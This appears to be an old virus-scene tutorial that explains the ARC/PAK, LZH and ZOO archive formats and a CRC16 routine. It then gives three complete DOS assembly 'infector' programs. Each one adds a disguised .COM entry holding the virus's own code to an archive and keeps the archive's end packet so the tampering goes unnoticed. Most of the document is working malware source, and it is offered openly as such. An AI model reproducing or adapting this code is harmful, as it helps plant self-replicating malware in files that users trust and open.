Dropping over old archives
A view on the past , LZH , ARC/PAK , ZOO , CRC16 
Intro
Long time ago when zip rar & arj weren't too much used, there were some more known archives because they imposed themseves on the amiga or the atari scene. Those formats are totally forgotten now , but I found it interesting to study them in the Archive infector series , so Enjoy!
The CRC16
What's the CRC16 , the same thing than the CRC32 but smaller and using a 512 bytes table zone , see its code
rendertable: mov bx,0a001h mov di,offset starttable ; render 512 bytes in di xor dx,dx crc_jnz: mov ax,dx ; calculations ... mov cx,8 crc16_loop: shr ax,1 jae crc16_ja ; anomality to complexify xor ax,bx ; the table crc16_ja: loop crc16_loop ; do it 8 times stosw ; put a word inc dl ; do it 256 times jnz crc_jnz ; go for it! ret
When you have done that you done the CRC calculation, the scheme is the same than in CRC_16 file , so si = offset of start CRC calc & cx = number of thoz
crc_calc16:
push bx                                                 ; save handle
push cx
call rendertable                                        ; build the table
pop cx
cld
xor ax,ax
xor bx,bx                                               ; reset ax , bx
render_loop:
lodsb                                                   ; get byte ds:si
xor bl,al                                               ; render it
mov al,bh
mov bh,ah
shl bx,1
mov bx,word ptr [bx+starttable]                         ; include here the
xor bx,ax                                               ; table
loop render_loop
xchg bx,dx                                              ; push crc result
                                                        ; into dx
pop bx
ret
The ARC format
NB: Arc are know as ARC/PAK extension , this two means the same thing NB II: (I give a big thanks to Raymond Clay from whom I take his ARC description here )
OFFSET LABEL       TYP  VALUE        DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00     ARCID       DB   $1A
01     ARCMTD      DB   00          ;Method
        value:  0 = end of archive              8 = crunched after packin LZW
                1-2 = unused/unpacked           9 = squashed
                3 = rle encoding                10 = crushed
                4 = squezzed                    11 = distilled
                5 = crunched                    12-19 : unknown
                6 = packing + crunched          40 = reserved
                7 = packing/crunched with algo
02     ARCFNT      DS   12          ;filename
0E                 DB   00
0F     ARCNSZ      HEX  00000000    ;Compressed size
13     ARCDAT      DW   0000        ;File date (MSDOS)
15     ARCTIM      DW   0000        ;File time (MSDOS)
17     ARCCRC      DW   0000
19     ARCOSZ      HEX  00000000    ;Uncompressed size
ARC Infection
Erm , a precision first , there's a little packet at the end of the ARC file you must preserve , some ARC file have it , other not , two are good but you can't drop over a file who have a last packet ,then you must detect the last packet , at all arc/pak file , it was at the end-12 of the file , then you can easily save it somewhere ( those I have seen )
        1ø Go to the end-256
        2ø Read 256 and scan for dead packet
        3ø Save dead packet and write header at this offset
        4ø Write the header
        5ø Write virus
        6ø Close the file
The LZH format
NB (I give a big thanks to Raymond Clay from whom I take his LZH description here )
OFFSET LABEL TYP VALUE DESCRIPTION ------ ----------- ---- ----------- ---------------------------------- 00 LZHHSZ DB 0 ;Header size 01 LZHCKS DB 0 ;Cksum of remaining bytes 02 LZHMTD ASC '-lh0-' ;Method 07 LZHNSZ HEX 00000000 ;Compressed size 0B LZHOSZ HEX 00000000 ;Uncompressed size 0F LZHTIM DW 0000 ;File time (MSDOS) 11 LZHDAT DW 0000 ;File date (MSDOS) 13 LZHATR DW 0000 ;File attribute 15 LZHFNL DB 00 ;filename/path length 16 LZHFNT DS LZHFNL ;filename/path 2B LZHCRC DW 0000 ;CRC-16
LZH infection
NB: There's some crappy code at the end of the virus , I don't know what's that and in some archives it doesn't exist , anyway I wrote something to detect it then no problemo
Go to the end , drop an header , drop the virus , and it's finished!
The ZOO format
NB (I give a big thanks to Raymond Clay from whom I take his ZOO description here )
There are two parts, the first 20 bytes of the file are crappy code , good to put a a virus mark etc etc , zoo is a well good locked archive because offset goes header by header , but don't panick for our virus , the last header point to a kinda death packet, we just have to find it and rewrite the header and the virus
OFFSET LABEL       TYP  VALUE        DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00                 DS   20
14     ZOOSIG      HEX  A7DCFDC4    ;File signature
18     ZOO1PTR     HEX  00000000    ;pointer to 1st header
1C     ZOO?        HEX  00000000    ;?
20     ZOOMVER     DB   00          ;version making archive
21     ZOOMIN      DB   00          ;minimum version needed to extract
FILE HEADER
-----------
OFFSET LABEL       TYP  VALUE        DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00     ZOOFSIG     HEX  A7DCFDC4    ;signature
04     ZOOFTYP     DB   00          ;?
06     ZOOFCMP     DB   00          ;Compression method
        value: 0 = Stored
               1 = Crunched
08     ZOOFNXH     HEX  00000000    ;Nxt hdr ofst frm Start of ZOO file
0A     ZOOFCUR     HEX  00000000    ;Offset of this hdr
0E     ZOOFDAT     DW   0000        ;Last mod file date (MS-DOS)
10     ZOOFTIM     DW   0000        ;Last mod file time (MS-DOS)
12     ZOOFCRC     DW   0000        ;CRC-16
14     ZOOFOSZ     HEX  00000000    ;Uncompressed size
18     ZOOFNSZ     HEX  00000000    ;Compressed size
1C     ZOOFMVER    DB   00          ;version that made this file
1D     ZOOFMIN     DB   00          ;minimum version needed to extract
1E     Z00FDEL     DB   00          ;1 if file deleted from archive
1F     ZOOFCMTP    HEX  00000000    ;pointer to comment, 0 if none
23     ZOOFCMTL    DW   0000        ;length of comment
25     ZOOFNAM     DS   13          ;filename
ZOO infection
Go to the end , search the death packet , build & drop an header , drop the virus , and it's finish!
Here's those code , any suggestion is welcome
- ARC INFECTOR ( test it with the appropried name file ) - - - - - - - - - -
.model tiny
.code
.286
org 100h
start:
mov ax,3d02h                                    ; open file
mov dx,offset name1
int 21h
xchg ax,bx
mov ah,3fh                                      ; read first 256 bytes
mov cx,256
mov dx,offset temporary1
int 21h
cmp byte ptr [temporary1],1Ah                   ; test it if ARC archive
jne ARC_invalid
call ARC_header                                 ; build an header
mov al,02
call go
sub ax,12
sbb dx,0
push ax
push dx
push ax
push dx
pop cx
pop dx
xor ax,ax
call gozero                                     ; go to the end-12
mov ah,3fh
mov cx,12
mov dx,offset betaname
int 21h                                         ; read 12 bytes
cmp byte ptr [betaname],01ah                    ; test for death header mark
jne Arc_invalid
pop cx
pop dx
xor ax,ax
call gozero
mov ah,40h
mov cx,1dh
mov dx,offset temporary1
int 21h                                         ; write our header
mov ah,40h
mov cx,fin-start
mov dx,offset start
int 21h                                         ; write our virus
mov ah,40h
mov cx,12
mov dx,offset betaname
int 21h                                         ; write our death header
ARC_invalid:
mov ah,3Eh                                      ; close the file
int 21h
ret
ARC_header:
mov bp,offset [temporary1]
mov byte ptr [bp+1],2                           ; method = 2 no compression
call set_a_name
lea di,[bp+2]
mov si,offset betaname
repz movsb
mov word ptr [bp+0fh],fin-start
mov word ptr [bp+0fh+2],0
mov word ptr [bp+19h],fin-start
mov word ptr [bp+19h+2],0
mov si,offset start
mov cx,fin-start
call crc_calc16
mov word ptr [bp+17h],dx
ret
set_a_name:                                             ; set a random name
mov ah,2Ch
int 21h
and cx,0000111100001111b
and dx,0000111100001111b
add cx,4141h
add dx,4141h
mov word ptr [betaname],cx
mov word ptr [betaname+2],dx
mov word ptr [betaname+4],'C.'
mov word ptr [betaname+6],'MO'
mov word ptr [betaname+8],0
mov cx,9
ret
go:
xor cx,cx
xor dx,dx
gozero:
mov ah,42h
int 21h
ret
crc_calc16:                                             ; render crc of ds:si
push bx
push cx
call rendertable
pop cx
cld
xor ax,ax
xor bx,bx
render_loop:
lodsb
xor bl,al
mov al,bh
mov bh,ah
shl bx,1
mov bx,word ptr [bx+starttable]
xor bx,ax
loop render_loop
xchg bx,dx
pop bx
ret
rendertable:
mov bx,0a001h
mov di,offset starttable
xor dx,dx
crc_jnz:
mov ax,dx
mov cx,8
crc16_loop:
shr ax,1
jae crc16_ja
xor ax,bx
crc16_ja:       loop crc16_loop
stosw
inc dl
jnz crc_jnz
ret
name1:  db 'yeye.pak',0
fin:
betaname:       db 13 dup (?)
starttable:     db 1024 dup (?)
        
                db 2 dup (?)
temporary1:     db 256 dup (?)
end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ZOO INFECTOR ( test it with the appropried name file )- - - - - - - - - -
.model tiny
.code
.286
org 100h
start:
mov ax,3d02h                                            ; open file
mov dx,offset name1
int 21h
xchg ax,bx
mov ah,3fh                                              ; read 256 bytes
mov cx,256
mov dx,offset temporary1
int 21h
mov si,offset temporary1
add si,word ptr [temporary1+18h]
cmp word ptr [si],0A7DCh                                ; test zoo integrity
jne invalid_zoo
call zoo_header                                         ; rebuild zoo header
mov al,2
call go                                                 ; go to the end-96
push ax
push dx
sub ax,96
sbb cx,0
push dx
push ax
pop dx
pop cx
xor ax,ax
call gozero                                     
mov ah,3fh                                              ; read 96 bytes
mov cx,96
mov dx,offset temporary1+256
int 21h
mov si,offset temporary1+256+96
zoo_scan:
cmp word ptr [si],0FDC4h                                ; test for last packet
je test_signature                                       ; signature
Zoo_continue:
dec si
dec cx
jnz zoo_scan                                            ; not found ?
pop dx
pop ax
invalid_zoo:                                            ; then close the file
mov ah,3Eh
int 21h
ret
test_signature:
cmp word ptr [si-2],0A7DCh                              ; test the file
jne zoo_continue
mov bp,96                                               ; set location 
sub bp,cx                                               ; for bp
add bp,2
pop cx
pop dx
sub dx,bp
sbb cx,0
push cx
push dx
add dx,26h+13+15
adc cx,0
mov word ptr [di+10],dx                                 ; offset of this 
mov word ptr [di+10+2],cx                               ; header
add dx,fin-start
adc cx,0
mov word ptr [di+6],dx                                  ; offset of the next
mov word ptr [di+6+2],cx                                ; header
pop dx
pop cx
xor ax,ax
call gozero                                     ; go at the beginning
push ax
push dx
mov cx,bp
mov ah,3fh                                      ; read 256 bytes
mov dx,offset temporary1+256
int 21h
pop cx
pop dx
xor ax,ax                                       ; go to the beginning
call gozero
mov ah,40h                                      ; write our header
mov cx,26h+13+15
mov dx,offset temporary1
add dx,word ptr [temporary1+18h]
int 21h
mov ah,40h                                      ; write our virus
mov cx,fin-start
mov dx,offset start
int 21h
mov ah,40h                                      ; write the last packet
mov cx,bp
mov dx,offset temporary1+256
int 21h
jmp invalid_zoo
zoo_header:
mov bp,si
mov byte ptr [bp+5],00
push bp
mov si,offset start
mov cx,fin-start
call crc_calc16                                         ; get crc16 of the 
                                                        ; virus
pop bp
mov word ptr [bp+12h],dx                                ; save it at 12H
mov word ptr [bp+1Fh],0                                 ; set no comment
mov word ptr [bp+1Fh+2],0                               ; 
mov word ptr [bp+1Fh+4],0                               ; and no length comment
mov word ptr [bp+14h],fin-start                         ; compressed & 
mov word ptr [bp+14h+2],0                               ; uncompressed size
mov word ptr [bp+18h],fin-start
mov word ptr [bp+18h+2],0
call set_a_name                                         ; render a new name
mov si,offset betaname                                  ; put it into the
lea di,[bp+26h]                                         ; header
repz movsb
mov di,bp
ret
set_a_name:                                             ; dunno for kitchen ?
mov ah,2Ch
int 21h
and cx,0000111100001111b
and dx,0000111100001111b
add cx,4141h
add dx,4141h
mov word ptr [betaname],cx
mov word ptr [betaname+2],dx
mov word ptr [betaname+4],'C.'
mov word ptr [betaname+6],'MO'
mov word ptr [betaname+8],0
mov cx,9
ret
go:                                             ; Anti MS newbies piss off 
xor cx,cx
xor dx,dx
gozero:
mov ah,42h
int 21h
ret
crc_calc16:                                     ; Hey , politicaly incorrect 
                                                ; -> fuck you usa
push bx
push cx
call rendertable
pop cx
cld
xor ax,ax
xor bx,bx
render_loop:
lodsb
xor bl,al
mov al,bh
mov bh,ah
shl bx,1
mov bx,word ptr [bx+starttable]
xor bx,ax
loop render_loop
xchg bx,dx
pop bx
ret
rendertable:
mov bx,0a001h
mov di,offset starttable
xor dx,dx
crc_jnz:
mov ax,dx
mov cx,8
crc16_loop:
shr ax,1
jae crc16_ja
xor ax,bx
crc16_ja:       loop crc16_loop
stosw
inc dl
jnz crc_jnz
ret
name1:  db 'yeye.zoo',0
fin:
betaname:       db 13 dup (?)
starttable:     db 1024 dup (?)
        
                db 2 dup (?)
temporary1:     db 256 dup (?)
end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- LZH INFECTOR ( test it with the appropried name file )- - - - - - - - - -
.model tiny
.code
.286
org 100h
start:
mov ax,3d02h                                            ; open filename
mov dx,offset name1
int 21h
xchg ax,bx
mov ah,3fh                                              ; viva checkevara
mov cx,256
mov dx,offset temporary1
int 21h
cmp word ptr [temporary1+2],'l-'                        ; testlzh integrity
jne LZH_invalid
call LZH_header                                         ; build lzh header
mov al,02
call go                                                 ; go to the end-7
sub ax,7
sbb dx,0
push ax
push dx
push ax
push dx
pop cx
pop dx
xor ax,ax
call gozero
mov ah,3fh                                              ; read 7 bytes
mov cx,7
push cx
mov dx,offset betaname
push dx
int 21h
pop bp
pop cx
add bp,7
testforzero:                                            ; test for a death
cmp byte ptr [bp],0                                     ; crappy packet
je continue
dec bp
dec cx
jnz testforzero
jmp LZH_invalid
continue:                                               ; 
mov bp,cx
pop ax
pop dx
add dx,cx
xchg ax,cx
xor ax,ax
call gozero                                             ; go to the end
mov ah,40h
mov cx,2
add cl,byte ptr [temporary1]
mov dx,offset temporary1
int 21h                                                 ; write the header
mov ah,40h
mov cx,fin-start
mov dx,offset start
int 21h                                                 ; write the virus
mov ah,40h
mov cx,7
sub cx,bp
mov dx,offset betaname
add dx,bp
int 21h                                                 ; write the betapacket
LZH_invalid:
mov ah,3Eh                                              ; close and return
int 21h
ret
LZH_header:
mov bp,offset [temporary1]
mov byte ptr [bp+5],'0'                         ; set no compression
mov word ptr [bp+7],fin-start                   ; set compressed & uncomprss
mov word ptr [bp+7+2],0                         ; size
mov word ptr [bp+7+4],fin-start
mov word ptr [bp+7+4+2],0
call set_a_name                                 ; generate a name
dec cx
mov byte ptr [bp+15h],cl
mov di,bp
add di,16h
mov si,offset betaname
repz movsb                                      ; copy it
push di
push bp
mov si,offset start
mov cx,fin-start
call crc_calc16                                 ; get crc of the virus
pop bp
pop di
mov word ptr [di],dx
sub di,bp
mov cx,di
mov byte ptr [bp],cl                            ; then now , make the   
                                                ; checksum of the header
lea si,[bp+2]
xor ax,ax
LZH_loop1:
add ah,byte ptr [si]
inc si
dec di
jnz LZH_loop1
mov byte ptr [bp+1],ah
ret
set_a_name:                                     ; generate a name
mov ah,2Ch
int 21h
and cx,0000111100001111b
and dx,0000111100001111b
add cx,4141h
add dx,4141h
mov word ptr [betaname],cx
mov word ptr [betaname+2],dx
mov word ptr [betaname+4],'C.'
mov word ptr [betaname+6],'MO'
mov word ptr [betaname+8],0
mov cx,9
ret
go:                                             ; don't wrote virus for
                                                ; glory
xor cx,cx                                       ; money
xor dx,dx                                       ; army
                                                ; in this case you'll survive
gozero:
mov ah,42h
int 21h
ret
crc_calc16:
push bx
push cx
call rendertable
pop cx
cld
xor ax,ax
xor bx,bx
render_loop:
lodsb
xor bl,al
mov al,bh
mov bh,ah
shl bx,1
mov bx,word ptr [bx+starttable]
xor bx,ax
loop render_loop
xchg bx,dx
pop bx
ret
rendertable:
mov bx,0a001h
mov di,offset starttable
xor dx,dx
crc_jnz:
mov ax,dx
mov cx,8
crc16_loop:
shr ax,1
jae crc16_ja
xor ax,bx
crc16_ja:       loop crc16_loop
stosw
inc dl
jnz crc_jnz
ret
name1:  db 'yeye.lzh',0
fin:
betaname:       db 13 dup (?)
starttable:     db 1024 dup (?)
        
                db 2 dup (?)
temporary1:     db 256 dup (?)
end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -